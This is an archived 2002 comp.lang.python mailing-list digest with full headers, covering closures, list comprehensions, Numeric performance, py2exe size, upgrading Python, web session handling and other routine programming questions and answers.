setting system time References: <3ce1353a$0$230$626a54ce at news.free.fr> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit NNTP-Posting-Host: fortress.engcorp.com Lines: 7 Path: news.baymountain.net!uunet!ash.uu.net!news-out.visi.com!hermes.visi.com!newspump.sol.net!news-xfer.siscom.net!feed1.newsreader.com!netnews.com!xfer02.netnews.com!newsfeed1.cidera.com!Cidera!news.sentex.net!not-for-mail Xref: news.baymountain.net comp.lang.python:163559 To: python-list at python.org Sender: python-list-admin at python.org Precedence: bulk List-Help: <mailto:python-list-request at python.org?subject=help> List-Post: <mailto:python-list at python.org> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=subscribe> List-Id: General discussion list for the Python programming language <python-list.python.org> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=unsubscribe> List-Archive: <http://mail.python.org/pipermail/python-list/> dag4004 wrote: > > Hello, > > Does some one know how to set the system time in Python ? Use os.system() and a call to the OS... Message: 4 Path: news.baymountain.net!uunet!ash.uu.net!priapus.visi.com!news-out.visi.com!hermes.visi.com!newspeer.monmouth.com!uni-erlangen.de!fu-berlin.de!uni-berlin.de!adsl-63-192-42-251.dsl.snfc21.pacbell.NET!not-for-mail From: Philip Swartzleonard <starx at pacbell.net> Newsgroups: comp.lang.python Subject: Re: how to upgrade correctly to 2.2.1??? Date: 15 May 2002 01:26:15 GMT Organization: Ruby Dragon Outpost o_o Lines: 21 Message-ID: <Xns920EBBB616038RASXnewsDFE1 at 130.133.1.4> References: <abrp50$kj35u$1 at ID-75083.news.dfncis.de> NNTP-Posting-Host: adsl-63-192-42-251.dsl.snfc21.pacbell.net (63.192.42.251) User-Agent: Xnews/L5 Xref: news.baymountain.net comp.lang.python:163560 To: python-list at python.org Sender: python-list-admin at python.org Precedence: bulk List-Help: <mailto:python-list-request at python.org?subject=help> List-Post: <mailto:python-list at python.org> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=subscribe> List-Id: General discussion list for the Python programming language <python-list.python.org> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=unsubscribe> List-Archive: <http://mail.python.org/pipermail/python-list/> Markus Jais || Tue 14 May 2002 12:43:36p: > hello > > I have 2.2 installed and now I want to install 2.2.1 > > make uninstall in the 2.2 dicrectory does not work > so I typed > sudo rm -rf /usr/local/bin/pydoc > sudo rm -rf /usr/local/binpython* > sudo rm -rf /usr/local/lib/python2.2/ > > does this remove all the python 2.2 stuff?? Er, I haven't done this in linux yet, but in windows you can just happily install 2.2.1 directly over 2.2 and everything works fine. It's been my experience that *nix handles this kind of upgrading far better than here, so... you shoudln't i think need to RM anything... -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com Message: 5 Path: news.baymountain.net!uunet!ash.uu.net!dca.uu.net!news.alt.net!oz.net!usenet From: bokr at oz.net (Bengt Richter) Newsgroups: comp.lang.python Subject: Re: how to write function that returns function Date: 15 May 2002 01:37:23 GMT Organization: - Lines: 110 Message-ID: <abse4j$1r8$0 at 216.39.172.122> References: <4f52f844.0205141503.40000c50 at posting.google.com> NNTP-Posting-Host: 216.39.172.122 Xref: news.baymountain.net comp.lang.python:163561 To: python-list at python.org Sender: python-list-admin at python.org Precedence: bulk List-Help: <mailto:python-list-request at python.org?subject=help> List-Post: <mailto:python-list at python.org> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=subscribe> List-Id: General discussion list for the Python programming language <python-list.python.org> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=unsubscribe> List-Archive: <http://mail.python.org/pipermail/python-list/> On 14 May 2002 16:03:25 -0700, spam at bugbear.com (Paul Graham) wrote: >I am not a Python expert, and I'm hoping someone >can tell me how in Python to write a function >of one argument x that returns a function of one >argument y that returns x+y. > >Here, in Scheme, is what I want to write: > >(define foo (x) (lambda (y) (+ x y))) > With nested scopes (default in 2.2, import nested_scopes from __future__ in 2.1), you can do this: >>> def foo(x): return lambda y: x+y ... >>> f = foo(7) >>> f(3) 10 >>> import dis <-- handy disassembler for seeing what functions do etc. >>> dis.dis(f) 0 SET_LINENO 1 3 LOAD_DEREF 0 (x) <-- this loads the 7 from the closure 6 LOAD_FAST 0 (y) <-- this loads the argument to the function 9 BINARY_ADD 10 RETURN_VALUE >>> f.func_closure (<cell at 0x008430C0: int object at 0x00795910>,) >>> hex(id(7)) '0x795910' Doing it as above captures x in a closure. I used a small int 7 knowing the same instance would be used, and we could recognize it in the closure by its id. >I found on the web a page that says I could define >this as follows: > >def addn(x): > return lambda y,z=y: x+z > I don't think that's quite right. The idea is to capture x in a way that works like the closure, and a dummy default value is the mechanism, so I think it should be: >>> def foo(x): return lambda y,z=x: y+z ... >>> f = foo(7) >>> f(3) 10 >>> dis.dis(f) 0 SET_LINENO 1 3 LOAD_FAST 0 (y) <-- this loads the first function arg 6 LOAD_FAST 1 (z) <-- this simulates the closure effect 9 BINARY_ADD \_ unless you pass a second arg 10 RETURN_VALUE >>> f.func_closure <-- there isn't any (None) >>> f.func_defaults (7,) >>> f(3,5) <-- the second arg overrides, so it's not a proper solution 8 >but I don't think this is exactly the same thing, >because it returns a function that takes a second >optional argument. That is a substantial difference. >If the Scheme function is inadvertently called >(e.g. in someone else's code) with two arguments, it >would signal an error, whereas the code above would >quietly give the wrong answer. > right >I would appreciate it if someone could tell me the >standard way to write this so that it returns a >function of exactly one argument. > See above, but BTW, you don't have to use lambda at all: >>> def foo(x): ... def forget_this_name(y): ... return x+y ... return forget_this_name ... >>> f = foo(7) >>> f(3) 10 >>> dis.dis(f) 0 SET_LINENO 2 3 SET_LINENO 3 6 LOAD_DEREF 0 (x) <-- this loads the 7 from the closure 9 LOAD_FAST 0 (y) <-- this loads the function arg 12 BINARY_ADD 13 RETURN_VALUE 14 LOAD_CONST 0 (None) <--this is dead boilerplate code you don't get with lambda 17 RETURN_VALUE >>> f.func_closure (<cell at 0x008430C0: int object at 0x00795910>,) <-- proper closure this time. Note hex location >>> f.func_defaults <-- no defaults >>> f(3,5) <-- strictly one arg, so this fails Traceback (most recent call last): File "<stdin>", line 1, in ? TypeError: forget_this_name() takes exactly 1 argument (2 given) >>> hex(id(7)) '0x795910' <--hex location of 7 HTH Regards, Bengt Richter Message: 6 Path: news.baymountain.net!uunet!ash.uu.net!prodigy.com!skynet.be!skynet.be!fu-berlin.de!uni-berlin.de!pd9eb7ce1.dip.t-dialin.NET!not-for-mail From: Gerhard =?iso-8859-15?Q?H=E4ring?= <gerhard at bigfoot.de> Newsgroups: comp.lang.python Subject: Re: Multi-precision packages: gmpy vs mxNumber Date: 15 May 2002 01:49:44 GMT Organization: People's Front of Judea Lines: 15 Message-ID: <slrnae3flo.as7.gerhard at lilith.my-fqdn.de> References: <absabp$qj4$1 at peabody.colorado.edu> NNTP-Posting-Host: pd9eb7ce1.dip.t-dialin.net (217.235.124.225) Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Transfer-Encoding: 8bit User-Agent: slrn/0.9.7.4 (Linux) Cache-Post-Path: gargamel.hqd-internal!unknown at lilith.hqd-internal Xref: news.baymountain.net comp.lang.python:163562 To: python-list at python.org Sender: python-list-admin at python.org Precedence: bulk List-Help: <mailto:python-list-request at python.org?subject=help> List-Post: <mailto:python-list at python.org> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=subscribe> List-Id: General discussion list for the Python programming language <python-list.python.org> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=unsubscribe> List-Archive: <http://mail.python.org/pipermail/python-list/> Fernando P?rez wrote in comp.lang.python: > Do any of the experts have any advice on the pros and cons of these two GMP > wrappers? [...] While we're at it, is there any Python extension for fixed point arithmetic available? pyPgSQL has a fixed point type implemented in Python, which should eventually be replaced by a C type. It would be great if I could borrow code somewhere. Gerhard -- mail: gerhard <at> bigfoot <dot> de registered Linux user #64239 web: http://www.cs.fhm.edu/~ifw00065/ OpenPGP public key id AD24C930 public key fingerprint: 3FCC 8700 3012 0A9E B0C9 3667 814B 9CAA AD24 C930 reduce(lambda x,y:x+y,map(lambda x:chr(ord(x)^42),tuple ('zS^BED\nX_FOY\x0b'))) Message: 7 Path: news.baymountain.net!uunet!ash.uu.net!nntp-relay.ihug.net!newsfeeds.ihug.co.nz!ihug.co.nz!newsfeed01.tsnz.net!canterbury.ac.nz!not-for-mail From: Greg Ewing <greg at cosc.canterbury.ac.nz> Newsgroups: comp.lang.python Subject: Re: OT: Crazy Programming Date: Wed, 15 May 2002 14:16:34 +1200 Organization: Computer Science Dept, University of Canterbury Lines: 29 Message-ID: <3CE1C502.BF27501D at cosc.canterbury.ac.nz> References: <mailman.1021198403.21335.python-list at python.org> <87offlnq3k.fsf at mathdogs.com> <chris-55B5FD.02324413052002 at corp.supernews.com> <abnqdd$8bf$1 at slb0.atl.mindspring.net> <23891c90.0205130956.6f0436a0 at posting.google.com> <ht91eus6861nu2am7164l8ui9925rmu5sn at 4ax.com> <3d06fae9.0205140451.5ec335b1 at posting.google.com> NNTP-Posting-Host: oma.cosc.canterbury.ac.nz Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit NNTP-Posting-Date: Wed, 15 May 2002 02:16:43 +0000 (UTC) Xref: news.baymountain.net comp.lang.python:163563 To: python-list at python.org Sender: python-list-admin at python.org Precedence: bulk List-Help: <mailto:python-list-request at python.org?subject=help> List-Post: <mailto:python-list at python.org> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=subscribe> List-Id: General discussion list for the Python programming language <python-list.python.org> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=unsubscribe> List-Archive: <http://mail.python.org/pipermail/python-list/> jmdeschamps wrote: > > But programming is not building bridges or buildings; in its very > essence, its the realm of whatever is within the outer limits of human > creativity, whatever that is! Indeed. I don't think the problem is a lack of engineering principles, it's that we're pushing the boundaries all the time. If buildings were built like computer programs, every building would be unique, not quite like any other building ever built before, and using experimental new materials and building techniques. And before we'd got all the bugs out of one building, we'd be charging ahead with the next one. Under those conditions, I don't think the building industry would have much of a reputation for reliability in their products! When we *do* settle down to work on something properly, we seem to do a pretty good job -- unix, gcc, etc... -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg Message: 8 Path: news.baymountain.net!uunet!ash.uu.net!nntp-relay.ihug.net!newsfeeds.ihug.co.nz!ihug.co.nz!newsfeed01.tsnz.net!canterbury.ac.nz!not-for-mail From: Greg Ewing <greg at cosc.canterbury.ac.nz> Newsgroups: comp.lang.python Subject: Re: generated comprehensions Date: Wed, 15 May 2002 14:27:03 +1200 Organization: Computer Science Dept, University of Canterbury Lines: 29 Message-ID: <3CE1C777.9110C4D7 at cosc.canterbury.ac.nz> References: <4c877253.0205132231.6d286d0b at posting.google.com> NNTP-Posting-Host: oma.cosc.canterbury.ac.nz Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit NNTP-Posting-Date: Wed, 15 May 2002 02:27:12 +0000 (UTC) Xref: news.baymountain.net comp.lang.python:163564 To: python-list at python.org Sender: python-list-admin at python.org Precedence: bulk List-Help: <mailto:python-list-request at python.org?subject=help> List-Post: <mailto:python-list at python.org> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=subscribe> List-Id: General discussion list for the Python programming language <python-list.python.org> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=unsubscribe> List-Archive: <http://mail.python.org/pipermail/python-list/> Garth T Kidd wrote: > > def printOdds(upto): > for odd in [num for num in xrange(upto) if num%2]: > print odd > > ... works fine if upto is 5, but just sits there chewing up memory if > upto is 10**9, at which point you abandon comprehensions and do it > properly: I don't think I would have used a comprehension there in the first place, because building a list isn't needed. i.e. I would have "done it properly" the first time, particularly since the comprehension only saves 2 lines of code. > I'm sure I'll figure out a decent rule of thumb (say, "unit test with > the biggest practical number, and get rid of comprehensions if they > turn out to be a problem", or "don't use comprehensions with > generators"), The rule of thumb you want is: If you need the result as a list, use a comprehension, otherwise don't. -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg Message: 9 Path: news.baymountain.net!uunet!ash.uu.net!news-out.visi.com!hermes.visi.com!newsfeeds-atl2!atlpnn01.usenetserver.com.POSTED!not-for-mail From: "Steve Holden" <sholden at holdenweb.com> Newsgroups: comp.lang.python References: <4f52f844.0205141503.40000c50 at posting.google.com> Subject: Re: how to write function that returns function Lines: 73 Message-ID: <%MjE8.9266$Wh.4751 at atlpnn01.usenetserver.com> NNTP-Posting-Date: Tue, 14 May 2002 22:32:27 EDT Organization: WebUseNet Corp. http://corp.webusenet.com - ReInventing the UseNet Date: Tue, 14 May 2002 22:28:43 -0400 Xref: news.baymountain.net comp.lang.python:163565 To: python-list at python.org Sender: python-list-admin at python.org Precedence: bulk List-Help: <mailto:python-list-request at python.org?subject=help> List-Post: <mailto:python-list at python.org> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=subscribe> List-Id: General discussion list for the Python programming language <python-list.python.org> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=unsubscribe> List-Archive: <http://mail.python.org/pipermail/python-list/> "Paul Graham" <spam at bugbear.com> wrote in message news:4f52f844.0205141503.40000c50 at posting.google.com... > I am not a Python expert, and I'm hoping someone > can tell me how in Python to write a function > of one argument x that returns a function of one > argument y that returns x+y. > > Here, in Scheme, is what I want to write: > > (define foo (x) (lambda (y) (+ x y))) > > I found on the web a page that says I could define > this as follows: > > def addn(x): > return lambda y,z=y: x+z > > but I don't think this is exactly the same thing, > because it returns a function that takes a second > optional argument. That is a substantial difference. > If the Scheme function is inadvertently called > (e.g. in someone else's code) with two arguments, it > would signal an error, whereas the code above would > quietly give the wrong answer. > > I would appreciate it if someone could tell me the > standard way to write this so that it returns a > function of exactly one argument. > There's no need to use lambda, and indeed I eschew it whenever it make sense to do so. From 2.2 on you don't need top import nested_scopes from __future__, by the way. Since functions are fisrt-class objects, it doesn't matter what name is associated with the declarations - they can be bound to any variable once they are returned. Python 2.2 (#1, Dec 31 2001, 15:21:18) [GCC 2.95.3-5 (cygwin special)] on cygwin Type "help", "copyright", "credits" or "license" for more information. >>> def adder(x): ... def anyoldname(y): ... return x+y ... return anyoldname ... >>> add3 = adder(3) >>> add100 = adder(100) >>> add3(12) 15 >>> add100(12) 112 >>> Note, however, that the function name (the name bound to it in the def statement) does get built in to its repr(): >>> add3 <function anyoldname at 0x100fffe8> >>> add100 <function anyoldname at 0x10100278> >>> Hope this helps. regards Steve -- ----------------------------------------------------------------------- Steve Holden http://www.holdenweb.com/ Python Web Programming http://pydish.holdenweb.com/pwp/ ----------------------------------------------------------------------- Message: 10 Path: news.baymountain.net!uunet!ash.uu.net!dca.uu.net!newsfeeds.ihug.co.nz!ihug.co.nz!newsfeed01.tsnz.net!canterbury.ac.nz!not-for-mail From: Greg Ewing <greg at cosc.canterbury.ac.nz> Newsgroups: comp.lang.python Subject: Re: Multibyte Character Surport for Python Date: Wed, 15 May 2002 14:35:27 +1200 Organization: Computer Science Dept, University of Canterbury Lines: 15 Message-ID: <3CE1C96F.ED19AFF4 at cosc.canterbury.ac.nz> References: <e786d63d.0205080421.3788a0e2 at posting.google.com> <mailman.1020884595.5671.python-list at python.org> <UVhC8.20845$CN3.673651 at news2.tin.it> <83d6vzgngy.fsf at panacea.canonical.org> <nP4E8.54617$zW3.757325 at news1.tin.it> NNTP-Posting-Host: oma.cosc.canterbury.ac.nz Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit NNTP-Posting-Date: Wed, 15 May 2002 02:35:36 +0000 (UTC) Xref: news.baymountain.net comp.lang.python:163566 To: python-list at python.org Sender: python-list-admin at python.org Precedence: bulk List-Help: <mailto:python-list-request at python.org?subject=help> List-Post: <mailto:python-list at python.org> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=subscribe> List-Id: General discussion list for the Python programming language <python-list.python.org> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=unsubscribe> List-Archive: <http://mail.python.org/pipermail/python-list/> Alex Martelli wrote: > > we can't really count illiterates as candidate > programmers, I think -- despite all of the "point and grunt" rhetoric). But haven't you heard of the CP4P&G initiative (Computer Programming for Pointers and Grunters)? And the working subcomittee for establishing a point-and-grunt encoding for Unicode is due to report any day now... -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg Message: 11 Path: news.baymountain.net!uunet!ash.uu.net!lore.csc.com!nntp.abs.net!feed2.news.rcn.net!rcn!news.maxwell.syr.edu!xmission!news-out.spamkiller.net!propagator2-maxim!propagator-maxim!news-in.spamkiller.net!news02.tsnz.net!newsfeed01.tsnz.net!canterbury.ac.nz!not-for-mail From: Greg Ewing <greg at cosc.canterbury.ac.nz> Newsgroups: comp.lang.python Subject: Re: Oberon in Python, ala Pyrex but instant compile? Date: Wed, 15 May 2002 14:56:43 +1200 Organization: Computer Science Dept, University of Canterbury Lines: 19 Message-ID: <3CE1CE6B.4C39A3D1 at cosc.canterbury.ac.nz> References: <3ce11bc3_4 at goliath.newsgroups.com> NNTP-Posting-Host: oma.cosc.canterbury.ac.nz Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit NNTP-Posting-Date: Wed, 15 May 2002 02:56:54 +0000 (UTC) Xref: news.baymountain.net comp.lang.python:163567 To: python-list at python.org Sender: python-list-admin at python.org Precedence: bulk List-Help: <mailto:python-list-request at python.org?subject=help> List-Post: <mailto:python-list at python.org> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=subscribe> List-Id: General discussion list for the Python programming language <python-list.python.org> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=unsubscribe> List-Archive: <http://mail.python.org/pipermail/python-list/> Brad Clements wrote: > > But I wondering if this is too crazy an idea or not. Have something like > Pyrex write Oberon code, run it through an Oberon compiler and dynamically > load the resulting module. I suppose it could be done, provided you can make calls to the Python/C API from Oberon code. I don't know enough about current Oberon implementations to know whether this is possible. Anyway, feel free to hack on Pyrex to make it generate Oberon, and let me know how you get on! -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg Message: 12 Path: news.baymountain.net!uunet!ash.uu.net!prodigy.com!newscon02.news.prodigy.com!prodigy.com!cpk-news-hub1.bbnplanet.com!news.gtei.net!fu-berlin.de!uni-berlin.de!24-148-77-209.na.21stcentury.NET!not-for-mail From: Terje Johan Abrahamsen <terjej at mailandnews.com> Newsgroups: comp.lang.python Subject: Attachmate Extra! and Python Date: Wed, 15 May 2002 10:02:29 -0500 Lines: 11 Message-ID: <8nt4eu0mc5ovohpc62iig23mglf7mln4t9 at 4ax.com> NNTP-Posting-Host: 24-148-77-209.na.21stcentury.net (24.148.77.209) Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Xref: news.baymountain.net comp.lang.python:163568 To: python-list at python.org Sender: python-list-admin at python.org Precedence: bulk List-Help: <mailto:python-list-request at python.org?subject=help> List-Post: <mailto:python-list at python.org> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=subscribe> List-Id: General discussion list for the Python programming language <python-list.python.org> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=unsubscribe> List-Archive: <http://mail.python.org/pipermail/python-list/> I am trying to make use of Win32Com and make a "bridge" between Excel and Extra!. The documentation that comes with Extra is very sparse regarding how to use the OLE connections. I guess they want to sell the developer kit for 500 dollars. However, that will not work with my budget, and besides, I just need a very small part of it. So, therefore I am very curious if somebody has controlled Extra! thru Python? If so, do you know about a website with some more info or some sourcecode I can read thru to get some hints? Thanks in advance, Terje Message: 13 Content-Type: text/plain; charset="iso-8859-1" From: Richard Jones <rjones at ekit-inc.com> Organization: ekit.com Inc To: sjmachin at lexicon.net (John Machin), python-list at python.org Subject: Re: Problem using VC6sp5 to compile extensions - PyObject_HEAD_INIT Date: Wed, 15 May 2002 13:19:06 +1000 References: <mailman.1021357343.26170.python-list at python.org> <c76ff6fc.0205141241.16396022 at posting.google.com> In-Reply-To: <c76ff6fc.0205141241.16396022 at posting.google.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200205151319.06701.rjones at ekit-inc.com> Sender: python-list-admin at python.org Precedence: bulk List-Help: <mailto:python-list-request at python.org?subject=help> List-Post: <mailto:python-list at python.org> List-Subscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=subscribe> List-Id: General discussion list for the Python programming language <python-list.python.org> List-Unsubscribe: <http://mail.python.org/mailman/listinfo/python-list>, <mailto:python-list-request at python.org?subject=unsubscribe> List-Archive: <http://mail.python.org/pipermail/python-list/> On Wed, 15 May 2002 06:41, John Machin wrote: > Richard Jones <rjones at ekit-inc.com> wrote in message > news:<mailman.1021357343.26170.python-list at python.org>... > > > I've had a bug report for the kjbuckets module: > > > > http://sourceforge.net/tracker/?func=detail&atid=100662&aid=555391&group_ > >id=662 > > > > In summary, trying to "python setup.py install" the kjbuckets module > > distributed with the new Gadfly package results in: > > > > """ > > kjbucketsmodule.c(3301) : error C2099: initializer is not a constant > > kjbucketsmodule.c(3321) : error C2099: initializer is not a constant > > kjbucketsmodule.c(3341) : error C2099: initializer is not a constant > > Billy Gates don't lie, man! As the *MANUAL* points out, what you have > is not "strictly conforming C". Please read > > http://www.python.org/doc/current/ext/dnt-basics.html > > and the *FAQ*: > > http://www.python.org/doc/FAQ.html#3.24 I have already apologised once for not performing a web search before posting. I had inherited the module from another programmer, and assumed that the problem I had run into was unique, or it would already have been fixed. I will not make that assumption again. Thanks to all who responded. Richard -- http://mail.python.org/mailman/listinfo/python-list From me at michaelbauers.com Tue May 28 23:06:21 2002 From: me at michaelbauers.com (Michael Bauers) Date: Tue, 28 May 2002 22:06:21 -0500 Subject: Tkinker (sp?) Message-ID: <uf8hdjtc2oeh27@corp.supernews.com> I typed some Tk code in that had a quit button. In fact it was from the tutorial to Tk that is in the docs that ship with Python*. The quit button seemed to kill the 'app', but left the window up. Then I clicked it a few more times and it shut down all open Idle windows. I was running the script from an open window in idle using control-F5. Can anyone explain the behavior I was seeing? * (which made learning Python SO much easier than some other languages I played with in the past - thanks to all who contributed!) From whisper at oz.net Thu May 23 18:56:48 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 23 May 2002 15:56:48 -0700 Subject: exe In-Reply-To: <1e140f34.0205231423.26a1ed28@posting.google.com> Message-ID: <GCEDKONBLEFPPADDJCOEGEIBDEAA.whisper@oz.net> when it includes the interpreter and any needed support code your app uses.. yep, that's the price you pay. David LeBlanc Seattle, WA USA > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of Terje Johan Abrahamsen > Sent: Thursday, May 23, 2002 15:23 > To: python-list at python.org > Subject: exe > > > Is there any way to make .exe files out of Python, that doesn't create > such humongous files as py2exe does? A little popup box with a message > demands about 2.5 mb of hd space. Or is that the price to pay? > -- > http://mail.python.org/mailman/listinfo/python-list From ianb at colorstudy.com Sun May 19 14:38:07 2002 From: ianb at colorstudy.com (Ian Bicking) Date: 19 May 2002 13:38:07 -0500 Subject: how to do session management with python ? In-Reply-To: <ac8ngj$svpu$1@engel.scvmaxonline.com.sg> References: <ac8ngj$svpu$1@engel.scvmaxonline.com.sg> Message-ID: <1021833487.2848.3.camel@localhost> On Sun, 2002-05-19 at 12:30, Matthew Chong wrote: > Java has servlet feature to take care of session tracking... > but how does python do it ?? You first have to choose a web framework, like Webware, Skunkweb, Zope, etc. To me, Webware seems the closest to Java servlets. I believe they all include some sort of session tracking. Ian From fperez528 at yahoo.com Tue May 14 15:27:03 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Tue, 14 May 2002 13:27:03 -0600 Subject: Upper memory limit References: <3CE0E6CE.E14291D7@kfunigraz.ac.at> <G38E8.12534$Ze4.1204253@bin5.nnrp.aus1.giganews.com> <3CE11388.697C9AE2@kfunigraz.ac.at> <20020514100006.D24034@eecs.tufts.edu> <mailman.1021397004.22888.python-list@python.org> Message-ID: <abroj9$fqm$1@peabody.colorado.edu> Siegfried Gonzi wrote: > def f(list,list2): > erg = [] > for k in range( len(list) ): > erg.append( function_on_list2( list2[j] ) ) > return erg > > > I find the above very readable (and often better in style than Numeric's > idiosyncrasy). > You may find it 'very readable (and often better in style than Numeric's idiosyncrasy)' but in many cases the above is about the worst possible way of dealing with a Numeric array you could come up with. What you call 'Numeric's idiosyncrasy' has a very good reason for being the way it is: when you work with Numeric arrays as single entities and apply functions to them as a whole, you gain the _massive_ advantage of looping being done in C instead of Python. This can make a difference of one or two orders of magnitude in execution time. I personally can't stand windows and consider Linux a zillion times better as an environment for scientific computing, but in this particular case I can't guarantee that your memory problems will go away in Linux. I simply have no idea. On the other hand you'll have a real operating system with real tools to work on your problems, instead of the candy-wrapper colored toy that Windows is (even if XP doesn't crash every 5 minutes like the previous generations used to, it's still a toy). But I would seriously recommend you go through your code with a fine tooth comb and replace any instances of code like the above with Numeric array operations whenever possible. Put your stylistic ideas in your back pocket while you work on this problem, there's a very good reason for Numeric working the way it does. Incidentally this idea of working over whole arrays reappears (for the same exact underlying reason) if you look at systems like IDL or Matlab (and is _heavily_ emphasized in their documentations) so this has nothing to do with Numeric only. Best of luck, f. From lac at strakt.com Sun May 12 13:05:29 2002 From: lac at strakt.com (Laura Creighton) Date: Sun, 12 May 2002 19:05:29 +0200 Subject: Multibyte Character Surport for Python In-Reply-To: Message from martin@v.loewis.de (Martin v. Loewis) of "12 May 2002 16:53:03 +0200." <m37km9ju40.fsf@mira.informatik.hu-berlin.de> References: <e786d63d.0205080421.3788a0e2@posting.google.com> <j4y9euwxq7.fsf@informatik.hu-berlin.de> <kuhelirarl.fsf@lasipalatsi.fi> <c76ff6fc.0205081337.43428505@posting.google.com> <ku3cx1qlvq.fsf@lasipalatsi.fi> <m3helhp6cc.fsf@mira.informatik.hu-berlin.de> <kuu1php323.fsf@lasipalatsi.fi> <m3wuucbjlb.fsf@mira.informatik.hu-berlin.de> <udol0hpg2g9gf7@news.supernews.com> <j44rhf40as.fsf@informatik.hu-berlin.de> <877kmag92g.fsf@tleepslib.sk.tsukuba.ac.jp> <m3offm95jz.fsf@mira.informatik.hu-berlin.de> <200205111549.g4BFn0jX013371@ratthing-b246.strakt.com> <m37km9ju40.fsf@mira.informatik.hu-berlin.de> Message-ID: <200205121705.g4CH5TrW003386@theraft.strakt.com> > Laura Creighton <lac at strakt.com> writes: > > > I can provide any number of people who consider, as a matter of > > principal, that it is _always_ better to make it part of the > > library and not part of the language. Some of these people will > > also argue that it is bad to provide users with options. This is > > the 'lean and elegant' school of language design, and they are > > extrmely consistent in liking tiny languages with large libraries. > > On this specific question (source encodings): which of those people > specifically would favour Stephen's approach (which, I must admit, I > have not fully understood, since I don't know how he wants the hooks > to be invoked). > > Regards, > Martin Write it up and post the question to comp.os.plan9. These people have put unicode into their whole operating system and have been thinking about these issues for their languages for more than a decade. I cannot begin to do it justice here -- and Rob will end up flaming me anyway for getting his point of view wrong. We've ported Python to plan 9, so it won't even be off topic or anything. Laura Creighton ps they are in a good mood now. 4th edition just came out. cheer! From gumuz at looze.net Tue May 14 06:05:28 2002 From: gumuz at looze.net (Guyon Moree) Date: Tue, 14 May 2002 12:05:28 +0200 Subject: import question References: <3ce0d9f8.606424437@news.skynet.be> Message-ID: <3ce0df1c$0$227$4d4ebb8e@read.news.nl.uu.net> i'm not sure, but i imagine you can list the /lib *.py and dynamicly import every available module just my two cents <henk.derudder at barconet.com> wrote in message news:3ce0d9f8.606424437 at news.skynet.be... > Hi all, > > Is there a way to import all possible Python-modules in a module with > a single call (or some other small elegant solution)? > > Regards, > > Henk From SBrunning at trisystems.co.uk Thu May 9 05:58:39 2002 From: SBrunning at trisystems.co.uk (Simon Brunning) Date: Thu, 9 May 2002 10:58:39 +0100 Subject: Simple question about how the optimizer works Message-ID: <31575A892FF6D1118F5800600846864DCBD139@intrepid> > From: jb [SMTP:jblazi at hotmail.com] > > Let us assume, f(x) is a relatively complicated function and g(x,y) and > > h(x,y) are functions. > > > > How often is then f called in the following code: > > > > print g(f(x),f(x)) > > print h(f(x),f(x)) > > > > I think this topic is called "common subexppression elimination" in > > computer science. > > > > TIA, > > That was a dumb question, sorry. So I have tried and I am a bit surprised > that f is called four times! > Why? 'Cuz *you* called it four times, that's why. If you want f() called only once, re-code as: spam = f(x) print g(spam, spam) print h(spam, spam) I can't see how this optimisation could be automated - function f may or may not have side effects. (Python isn't a functional language, after all.) If it does, the programmer may or may not want these side effects to occur multiple times. So just code it the way you want it! Cheers, Simon Brunning TriSystems Ltd. sbrunning at trisystems.co.uk 